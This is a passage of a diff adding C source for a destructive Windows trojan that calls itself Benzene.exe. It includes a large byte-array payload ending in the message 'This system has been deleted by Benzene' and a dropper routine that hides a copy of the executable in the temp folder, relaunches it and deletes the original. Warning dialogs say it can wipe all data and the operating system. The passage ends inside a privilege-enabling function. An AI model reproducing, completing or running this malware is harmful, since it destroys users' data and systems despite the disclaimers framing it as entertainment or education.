+0x1F, 0x2B, 0x32, 0x1D, 0xF9, 0x2C, 0x25, 0x15, 0x3C, 0x15, 0x0F, 0x32, 0x12, 0xC7, 0x22, 0x0F,
+0x59, 0x34, 0x17, 0x2F, 0x2A, 0x26, 0xB1, 0x1C, 0x17, 0x65, 0x10, 0x1D, 0xF5, 0x1E, 0x1F, 0x7F,
+0x16, 0x27, 0x89, 0x0C, 0x0E, 0x93, 0x18, 0x15, 0x1D, 0x36, 0x20, 0x85, 0x14, 0x23, 0x95, 0x26,
+0x1B, 0xA1, 0x2E, 0x1C, 0xFD, 0x1E, 0x25, 0x09, 0x0E, 0x2C, 0x21, 0x2C, 0x12, 0xD3, 0x18, 0x2E,
+0x47, 0x0E, 0x21, 0x0F, 0x10, 0x2E, 0x2D, 0x18, 0x18, 0x13, 0x10, 0x14, 0x47, 0x1E, 0x0E, 0xDB,
+0x18, 0x10, 0x67, 0x0E, 0x0F, 0x4B, 0x2C, 0x1C, 0x2D, 0x10, 0x11, 0x67, 0x1A, 0x20, 0x89, 0x14,
+0x22, 0x25, 0x12, 0x19, 0xD1, 0x1A, 0x20, 0xC7, 0x14, 0x0F, 0xF1, 0x1A, 0x12, 0x97, 0x24, 0x28,
+0xEB, 0x14, 0x13, 0x15, 0x0E, 0x13, 0x7B, 0x16, 0x09, 0xE5, 0x16, 0x21, 0x1D, 0x10, 0x2D, 0xDB,
+0x14, 0x24, 0x19, 0x14, 0x28, 0x8D, 0x0E, 0x2F, 0x0D, 0x14, 0x2A, 0xA5, 0x0A, 0x24, 0x61, 0x10,
+0x1D, 0x1D, 0x1C, 0x21, 0xC3, 0x0A, 0x2B, 0x59, 0x1A, 0x2D, 0xC9, 0x06, 0x08, 0x85, 0x0E, 0x30,
+0x49, 0x12, 0x05, 0x71, 0x20, 0x22, 0x21, 0x2C, 0x28, 0x83, 0x10, 0x31, 0x79, 0x12, 0x1E, 0x7F,
+0x1C, 0x31, 0x37, 0x12, 0x31, 0xA1, 0x0E, 0x12, 0xFB, 0x16, 0x03, 0x73, 0x14, 0x0A, 0x8B, 0x12,
+0x23, 0x2B, 0x0E, 0x32, 0x5D, 0x0E, 0x02, 0x33, 0x18, 0x30, 0xCD, 0x0A, 0x32, 0x8D, 0x0C, 0x2A,
+0xF9, 0x0C, 0x08, 0x2D, 0x0C, 0x02, 0xA5, 0x22, 0x2B, 0x81, 0x12, 0x33, 0x05, 0x08, 0x2E, 0xB5,
+0x1A, 0x25, 0xF1, 0x12, 0x24, 0xFF, 0x0C, 0x17, 0xF7, 0x0E, 0x32, 0x15, 0x0A, 0x33, 0x1D, 0x18,
+0x06, 0xC7, 0x0A, 0x24, 0xA3, 0x12, 0x2B, 0x09, 0x14, 0x1D, 0xEF, 0x0C, 0x2C, 0x11, 0x20, 0x2D,
+0xF3, 0x26, 0x08, 0xDB, 0x12, 0x06, 0x7B, 0x12, 0x0E, 0x5B, 0x18, 0x22, 0x49, 0x20, 0x27, 0x53,
+0x24, 0x24, 0xAB, 0x1E, 0x05, 0x35, 0x16, 0x1A, 0x5B, 0x38, 0x34, 0xBB, 0x1A, 0x15, 0xC9, 0x20,
+0x0A, 0x7B, 0x22, 0x34, 0x5F, 0x20, 0x34, 0xB3, 0x1A, 0x32, 0xE1, 0x0E, 0x12, 0xB9, 0x0E, 0x06,
+0xC3, 0x0E, 0x32, 0xD7, 0x04, 0x32, 0xD7, 0x06, 0x34, 0xB1, 0x22, 0x06, 0x77, 0x14, 0x28, 0x81,
+0x16, 0x1C, 0xA5, 0x2A, 0x2D, 0xB5, 0x14, 0x0F, 0x2F, 0x36, 0x35, 0x79, 0x16, 0x31, 0x0D, 0x0C,
+0x32, 0xD9, 0x16, 0x1E, 0xF3, 0x28, 0x0F, 0xE3, 0x1C, 0x32, 0xAF, 0x0E, 0x36, 0xB5, 0x0A, 0x27,
+0xA3, 0x18, 0x1F, 0x65, 0x16, 0x2F, 0xC3, 0x22, 0x37, 0x0D, 0x0A, 0x32, 0xDF, 0x1C, 0x31, 0x4D,
+0x0E, 0x18, 0xEB, 0x22, 0x09, 0x1B, 0x10, 0x29, 0xF7, 0x14, 0x07, 0x39, 0x10, 0x20, 0xC7, 0x16,
+0x37, 0xB1, 0x10, 0x03, 0x39, 0x06, 0x37, 0xC5, 0x12, 0x37, 0xDB, 0x22, 0x37, 0xFB, 0x16, 0x25,
+0x93, 0x0C, 0x29, 0xD1, 0x12, 0x36, 0x01, 0x0E, 0x19, 0x43, 0x22, 0x30, 0xDF, 0x14, 0x30, 0xA5,
+0x20, 0x19, 0xF3, 0x24, 0x0C, 0xD5, 0x24, 0x35, 0x5F, 0x14, 0x26, 0x53, 0x0E, 0x38, 0xFD, 0x16,
+0x05, 0x39, 0x16, 0x27, 0xBD, 0x24, 0x24, 0xF5, 0x1C, 0x29, 0xAF, 0x26, 0x23, 0xF9, 0x18, 0x32,
+0x27, 0x12, 0x2C, 0xC7, 0x28, 0x07, 0x55, 0x20, 0x14, 0x87, 0x32, 0x34, 0xD7, 0x20, 0x2B, 0xD1,
+0x12, 0x1C, 0xCB, 0x1C, 0x26, 0x51, 0x10, 0x1E, 0x21, 0x10, 0x0D, 0xE9, 0x1E, 0x2A, 0xF3, 0x14,
+0x2F, 0x09, 0x08, 0x33, 0x5B, 0x18, 0x26, 0xEB, 0x26, 0x39, 0x6D, 0x0E, 0x10, 0xA3, 0x12, 0x11,
+0xA3, 0x1C, 0x2D, 0x15, 0x22, 0x3A, 0x19, 0x20, 0x0C, 0xBD, 0x2C, 0x22, 0x47, 0x26, 0x21, 0xA3,
+0x20, 0x06, 0x7B, 0x14, 0x3B, 0x61, 0x12, 0x0B, 0xD3, 0x20, 0x1F, 0x69, 0x18, 0x19, 0x71, 0x10,
+0x10, 0x0F, 0x18, 0x38, 0xDD, 0x12, 0x34, 0xBB, 0x2C, 0x14, 0x09, 0x0C, 0x28, 0x57, 0x0E, 0x24,
+0xDF, 0x22, 0x14, 0xE3, 0x1A, 0x2F, 0x31, 0x14, 0x2D, 0x95, 0x0C, 0x15, 0x55, 0x1C, 0x3C, 0xE1,
+0x14, 0x23, 0xCF, 0x22, 0x3C, 0x8F, 0x28, 0x26, 0x4D, 0x10, 0x2E, 0x7D, 0x1E, 0x39, 0x8D, 0x20,
+0x3B, 0x25, 0x04, 0x36, 0x5F, 0x1E, 0x0F, 0x1B, 0x28, 0x0A, 0x21, 0x0C, 0x10, 0xDD, 0x18, 0x3C,
+0xD5, 0x1A, 0x2F, 0x95, 0x26, 0x37, 0x39, 0x12, 0x37, 0x4D, 0x18, 0x2B, 0x57, 0x22, 0x37, 0xAD,
+0x16, 0x38, 0x3B, 0x14, 0x09, 0x61, 0x14, 0x22, 0xF5, 0x1A, 0x38, 0x2D, 0x22, 0x3B, 0x31, 0x0C,
+0x29, 0x85, 0x0E, 0x16, 0xCB, 0x18, 0x3F, 0xE1, 0x06, 0x30, 0x71, 0x16, 0x2B, 0x05, 0x18, 0x30,
+0x45, 0x16, 0x12, 0xFF, 0x18, 0x19, 0x4B, 0x1E, 0x21, 0x43, 0x1C, 0x16, 0xE9, 0x0E, 0x3C, 0x21,
+0x1C, 0x02, 0x47, 0x26, 0x21, 0x7B, 0x14, 0x3C, 0xC3, 0x16, 0x3D, 0xFB, 0x0E, 0x02, 0xA5, 0x38,
+0x36, 0x07, 0x24, 0x03, 0x01, 0x38, 0x0B, 0x79, 0x1E, 0x1A, 0x23, 0x1C, 0x32, 0x57, 0x14, 0x3C,
+0xF3, 0x1E, 0x41, 0xF7, 0x0E, 0x03, 0xB3, 0x3C, 0x40, 0x95, 0x0E, 0x2C, 0xB1, 0x28, 0x2B, 0x37,
+0x0E, 0x41, 0x1D, 0x18, 0x1B, 0x43, 0x1C, 0x2A, 0xCB, 0x16, 0x40, 0x9F, 0x0C, 0x3F, 0x35, 0x10,
+0x18, 0x11, 0x16, 0x3C, 0x8D, 0x18, 0x04, 0xC7, 0x24, 0x3A, 0x23, 0x1C, 0x2C, 0x15, 0x1E, 0x41,
+0xFB, 0x18, 0x2E, 0x47, 0x10, 0x31, 0x9B, 0x14, 0x05, 0x61, 0x4A, 0x3D, 0x97, 0x14, 0x05, 0xBD,
+0x2C, 0x05, 0xEB, 0x1C, 0x1C, 0xD5, 0x16, 0x34, 0x71, 0x30, 0x2E, 0x4F, 0x24, 0x3C, 0xDD, 0x26,
+0x06, 0x97, 0x30, 0x16, 0x1D, 0x08, 0x06, 0xCF, 0x18, 0x10, 0xC3, 0x1A, 0x3E, 0x6D, 0x18, 0x27,
+0x9D, 0x0C, 0x16, 0xC9, 0x1A, 0x45, 0x71, 0x1E, 0x43, 0xCD, 0x1A, 0x21, 0xA3, 0x22, 0x14, 0xCF,
+0x20, 0x2D, 0x23, 0x2C, 0x07, 0xE5, 0x22, 0x81, 0x33, 0x33, 0x08, 0x2D, 0x18, 0x21, 0x4F, 0x14,
+0x41, 0xF7, 0x18, 0x10, 0x8D, 0x1A, 0x30, 0x79, 0x12, 0x43, 0x9B, 0x16, 0x3E, 0xAD, 0x10, 0x08,
+0x9F, 0x38, 0x32, 0xBD, 0x10, 0x0C, 0x4D, 0x10, 0x08, 0xF9, 0x30, 0x21, 0x3B, 0x1A, 0x16, 0xDF,
+0x0E, 0x09, 0x4F, 0x16, 0x11, 0x39, 0x14, 0x09, 0x79, 0x2A, 0x13, 0x6D, 0x12, 0x09, 0xB5, 0x08,
+0x20, 0xE3, 0x1A, 0x20, 0x59, 0x18, 0x0E, 0x75, 0x14, 0x19, 0xA3, 0xFF, 0x1A, 0xA2, 0xFF, 0x1B,
+0xA1, 0xFF, 0x1C, 0xA0, 0xFF, 0x1D, 0x9F, 0xC8, 0x1E, 0x65, 0x28, 0x0E, 0xEB, 0x18, 0x1E, 0xA7,
+0x4E, 0x2A, 0x85, 0x1A, 0x1F, 0x0F, 0xFF, 0x20, 0x0E, 0xFF, 0x21, 0x0D, 0x4C, 0x13, 0x91, 0x1A,
+0x45, 0xE1, 0x10, 0x4E, 0xC7, 0x1A, 0x50, 0x2D, 0x1C, 0x4E, 0x57, 0x26, 0x17, 0x21, 0x1C, 0x12,
+0x5B, 0x2E, 0x0E, 0x09, 0x1E, 0x12, 0xA7, 0x1A, 0x14, 0xF3, 0x18, 0x41, 0x27, 0x30, 0x13, 0x09,
+0x1E, 0x14, 0xE9, 0x1A, 0x0C, 0xE7, 0x2A, 0x13, 0x6B, 0x1A, 0x2A, 0x07, 0x16, 0x16, 0xE7, 0x12,
+0x13, 0xAD, 0x2A, 0x33, 0x17, 0x08, 0x2C, 0x9D, 0x32, 0x14, 0x11, 0x2C, 0x51, 0x8D, 0x0C, 0x4D,
+0x53, 0x22, 0x14, 0x6B, 0x78, 0x34, 0x39, 0x1C, 0x4B, 0xB3, 0x1C, 0x25, 0x11, 0x3E, 0x4B, 0xBB,
+0x1A, 0x4B, 0xB1, 0x10, 0x3B, 0xD7, 0x32, 0x0E, 0xF9, 0x10, 0x04, 0x9B, 0x28, 0x4F, 0x3B, 0x14,
+0x52, 0x21, 0x0E, 0x30, 0xC7, 0x0C, 0x16, 0x1B, 0x70, 0x2A, 0xD7, 0x0C, 0x45, 0x75, 0x1C, 0x17,
+0xC7, 0x18, 0x16, 0xCB, 0x54, 0x50, 0xBD, 0x1E, 0x17, 0x3D, 0x2E, 0x3E, 0xD3, 0x24, 0x17, 0x8F,
+0x5E, 0x52, 0x9B, 0x0C, 0x10, 0xC9, 0x20, 0x2E, 0x75, 0x24, 0x48, 0xAB, 0x1A, 0x18, 0x57, 0x82,
+0x2D, 0x79, 0x12, 0x18, 0xEB, 0x38, 0x0A, 0x1D, 0x16, 0x57, 0x1D, 0x1C, 0x0B, 0xB5, 0x26, 0x33,
+0xF9, 0x16, 0x02, 0x21, 0xFF, 0x03, 0x20, 0xFF, 0x04, 0x1F, 0xFF, 0x05, 0x1E, 0xFF, 0x06, 0x1D,
+0xFF, 0x07, 0x1C, 0xFF, 0x08, 0x1B, 0xFF, 0x09, 0x1A, 0xC3, 0x83, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F,
+0xCD, 0x04, 0x5F, 0xCD, 0x08, 0x5F, 0xCD, 0x10, 0x5F, 0xE5, 0x08, 0x81, 0x22, 0x22, 0x5F, 0xCD,
+0x28, 0x5F, 0xD0, 0x4F, 0x60, 0x49, 0x25, 0x81, 0xF2, 0x22, 0x60, 0x44, 0x3C, 0x80, 0x2F, 0x60,
+0x96, 0x10, 0x60, 0x93, 0x04, 0x81, 0x22, 0xF2, 0x60, 0x0A, 0x3C, 0x60, 0xE7, 0x0E, 0x60, 0xE3,
+0x04, 0x60, 0x95, 0x3E, 0x61, 0x22, 0x0E, 0x61, 0x32, 0x13, 0x81, 0xF2, 0xF2, 0x61, 0x37, 0x2C,
+0x61, 0x83, 0x05, 0x61, 0x76, 0x09, 0x60, 0xE2, 0x05, 0x61, 0x86, 0x0C, 0x84, 0xF2, 0xF2, 0x22,
+0x22, 0x2F, 0x60, 0xF6, 0x2E, 0x61, 0xC3, 0x0C, 0x62, 0x13, 0x07, 0x61, 0xDB, 0x0B, 0x61, 0x35,
+0x31, 0x62, 0x13, 0x0D, 0x62, 0x21, 0x0C, 0x62, 0x2F, 0x07, 0x61, 0x37, 0x30, 0x61, 0x72, 0x04,
+0x62, 0x80, 0x09, 0x62, 0xB6, 0x0A, 0x62, 0x7E, 0x07, 0x61, 0xE5, 0x2E, 0x62, 0xAF, 0x11, 0x63,
+0x07, 0x09, 0x62, 0xCB, 0x3A, 0x63, 0x03, 0x0B, 0x80, 0xF2, 0x63, 0x10, 0x09, 0x63, 0x57, 0x08,
+0x63, 0x22, 0x2B, 0x86, 0x2F, 0x22, 0x22, 0xF2, 0xF2, 0xF2, 0xF2, 0x62, 0x6B, 0x04, 0x63, 0x56,
+0x0A, 0x63, 0xA8, 0x08, 0x63, 0x1C, 0x34, 0x63, 0xA7, 0x09, 0x82, 0x22, 0xF2, 0xF2, 0x63, 0xED,
+0x0A, 0x63, 0xB4, 0x39, 0x62, 0xBD, 0x0B, 0x63, 0xAD, 0x12, 0x62, 0xC4, 0x08, 0x63, 0x9F, 0x05,
+0x64, 0x60, 0x06, 0x63, 0xA2, 0x05, 0x63, 0xCD, 0x21, 0x63, 0xF9, 0x15, 0x63, 0xF2, 0x07, 0x64,
+0x00, 0x0F, 0x64, 0x0E, 0x27, 0x64, 0x91, 0x1B, 0x64, 0xB4, 0x30, 0x64, 0xDC, 0x0A, 0x64, 0xE5,
+0x1A, 0x80, 0x2F, 0x65, 0x07, 0x30, 0x62, 0x7B, 0x0A, 0x64, 0x9B, 0x12, 0x60, 0x5F, 0x38, 0x64,
+0xED, 0x1A, 0x65, 0x9F, 0x2F, 0x63, 0x1A, 0x09, 0x82, 0x2F, 0x2F, 0x2F, 0x66, 0x21, 0x06, 0x82,
+0x2F, 0x22, 0x22, 0x65, 0x39, 0x0F, 0x65, 0xF2, 0x2C, 0x65, 0x53, 0x0B, 0x64, 0x09, 0x08, 0x64,
+0x5B, 0x04, 0x61, 0x72, 0x05, 0x66, 0x29, 0x04, 0x65, 0x38, 0x06, 0x65, 0x9F, 0x34, 0x64, 0x0C,
+0x0A, 0x64, 0x5B, 0x05, 0x80, 0x2F, 0x62, 0x83, 0x0B, 0x65, 0x54, 0x32, 0x60, 0x37, 0x5C, 0x67,
+0x24, 0x29, 0xFF, 0xE0, 0x32, 0x39, 0x2B, 0x34, 0x64, 0xCE, 0x62, 0x62, 0x35, 0x7E, 0x27, 0x00,
+0x25, 0x5C, 0x22, 0x98, 0x2A, 0x26, 0x23, 0x4C, 0x26, 0xF2, 0x25, 0x93, 0x21, 0x89, 0x23, 0x56,
+0x23, 0x00, 0x2A, 0xDF, 0x2F, 0x12, 0x27, 0x9D, 0x65, 0xFF, 0x73, 0x68, 0x68, 0xF8, 0x23, 0xAC,
+0x26, 0xE0, 0x32, 0xE4, 0x2B, 0x4C, 0x26, 0x00, 0x25, 0x7C, 0x21, 0xF0, 0x27, 0x59, 0x2D, 0xA6,
+0x22, 0xFB, 0x2E, 0x24, 0x2E, 0x39, 0x2B, 0xCE, 0x22, 0x93, 0x21, 0x00, 0x2A, 0xBF, 0x23, 0xD1,
+0x31, 0xB8, 0x24, 0xF8, 0x23, 0x98, 0x2A, 0x00, 0x2A, 0xDF, 0x61, 0x7E, 0x67, 0x63, 0x72, 0xD1,
+0x70, 0xA1, 0x63, 0x34, 0x64, 0x74, 0x24, 0x9D, 0x25, 0x99, 0x2C, 0x4C, 0xA5, 0x56, 0xA3, 0x12,
+0xA7, 0xE4, 0xAB, 0xF8, 0x23, 0xFC, 0x61, 0x7C, 0x61, 0xA1, 0x21, 0x39, 0x2B, 0x12, 0x27, 0x4C,
+0x26, 0x74, 0x24, 0xAD, 0x00, 0x25, 0xB8, 0x24, 0xF9, 0x22, 0xE4, 0x2B, 0x98, 0x2A, 0x99, 0x2C,
+0x4C, 0x25, 0x7E, 0x27, 0x34, 0x24, 0xAC, 0x26, 0xBF, 0x23, 0xE0, 0x32, 0xFE, 0xA7, 0x00, 0xAA,
+0xF8, 0x23, 0xA1, 0x21, 0xE4, 0x2B, 0x7C, 0x61, 0xA1, 0x63, 0xAC, 0x26, 0x4C, 0x25, 0x1A, 0x22,
+0x26, 0x23, 0x68, 0x15, 0x04, 0xD1, 0x00, 0x25, 0xE0, 0x32, 0xDF, 0x2F, 0x3A, 0x22, 0x89, 0x23,
+0x80, 0x22, 0x4C, 0x26, 0xB8, 0x24, 0x98, 0x2A, 0xAC, 0x26, 0xB1, 0x3A, 0xE8, 0x68, 0xBF, 0x23,
+0x26, 0x23, 0x4C, 0x65, 0x32, 0x79, 0x68, 0x68, 0x98, 0x2A, 0xE0, 0x32, 0x9D, 0x25, 0xF2, 0x25,
+0xF0, 0x27, 0xB8, 0x24, 0x89, 0x63, 0x56, 0x63, 0x12, 0x67, 0xB1, 0x3A, 0xE8, 0x28, 0x4C, 0x66,
+0x4C, 0x65, 0x26, 0x63, 0xDF, 0x61, 0xBF, 0x63, 0x5C, 0xA2, 0xC4, 0xA1, 0x56, 0xA3, 0x9D, 0xA5,
+0x32, 0x79, 0xAC, 0x66, 0x68, 0x28, 0x26, 0x23, 0x68, 0x79, 0x04, 0x67, 0xA7, 0x04, 0xB4, 0x12,
+0x27, 0x89, 0x23, 0x30, 0x35, 0x4C, 0xA5, 0xF9, 0xE2, 0xDF, 0xE1, 0x34, 0xE4, 0x54, 0x68, 0x69,
+0x73, 0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65,
+0x6E, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x6E,
+0x7A, 0x65, 0x6E, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+BOOL
+WINAPI
+ExecuteDropper( VOID )
+{
+	WCHAR szPath[ MAX_PATH ] = { 0 };
+	WCHAR szNewPath[ MAX_PATH ] = { 0 };
+	STARTUPINFO si = { 0 };
+	PROCESS_INFORMATION pi;
+	DWORD dwUnnamed;
+	HANDLE hFile;
+
+	GetModuleFileNameW( NULL, szPath, MAX_PATH );
+start:
+	GetTempPathW( MAX_PATH, szNewPath );
+
+	if ( wcsncmp( szPath, szNewPath, wcslen( szNewPath ) ) )
+	{
+		WCHAR szFileName[ 17 ] = { 0 };
+		GetRandomPath( szFileName, 16 );
+		wcscat_s( szNewPath, MAX_PATH, szFileName );
+		wcscat_s( szNewPath, MAX_PATH, L".txt" );
+
+		if ( ( hFile = CreateFileW( szNewPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL ) ) == INVALID_HANDLE_VALUE )
+		{
+			RtlZeroMemory( szNewPath, MAX_PATH );
+			goto start;
+		}
+
+		while ( !WriteFile( hFile, szPath, MAX_PATH, &dwUnnamed, NULL ) )
+		{
+			Sleep( 10 );
+		}
+
+		CloseHandle( hFile );
+
+		GetTempPathW( MAX_PATH, szNewPath );
+		wcscat_s( szNewPath, MAX_PATH, szFileName );
+		wcscat_s( szNewPath, MAX_PATH, L".exe" );
+
+		while ( !CopyFileW( szPath, szNewPath, FALSE ) )
+		{
+			Sleep( 10 );
+		}
+
+		while ( !SetFileAttributesW( szNewPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ) )
+		{
+			Sleep( 10 );
+		}
+
+		si.cb = sizeof( si );
+		CreateProcessW( szNewPath, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi );
+		CloseHandle( pi.hProcess );
+		CloseHandle( pi.hThread );
+
+		return FALSE;
+	}
+	else
+	{
+		*wcsrchr( szPath, L'.' ) = 0;
+		wcscat_s( szPath, MAX_PATH, L".txt" );
+
+		while ( ( hFile = CreateFileW( szPath, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL ) ) == INVALID_HANDLE_VALUE )
+		{
+			Sleep( 10 );
+		}
+
+		while ( !ReadFile( hFile, szNewPath, MAX_PATH, &dwUnnamed, NULL ) )
+		{
+			Sleep( 10 );
+		}
+
+		CloseHandle( hFile );
+
+		while ( !DeleteFileW( szPath ) )
+		{
+			Sleep( 10 );
+		}
+		
+		while ( !DeleteFileW( szNewPath ) )
+		{
+			Sleep( 10 );
+		}
+
+		if ( MessageBoxW( NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
+			return FALSE;
+		if ( MessageBoxW( NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
+			return FALSE;
+	}
+
+	return TRUE;
+}
+
+BOOL
+WINAPI
+SetPrivilege(
+	_In_ HANDLE hToken,
+	_In_ PCWSTR szPrivilege,
+	_In_ BOOL bEnablePrivilege
+)
+{
+	TOKEN_PRIVILEGES tp;
+	LUID luid;
+
+	if ( !LookupPrivilegeValueW( NULL, szPrivilege, &luid ) )
+	{
+		return FALSE;
+	}
+
+	tp.PrivilegeCount = 1;
+	tp.Privileges[ 0 ].Luid = luid;
+	if ( bEnablePrivilege )
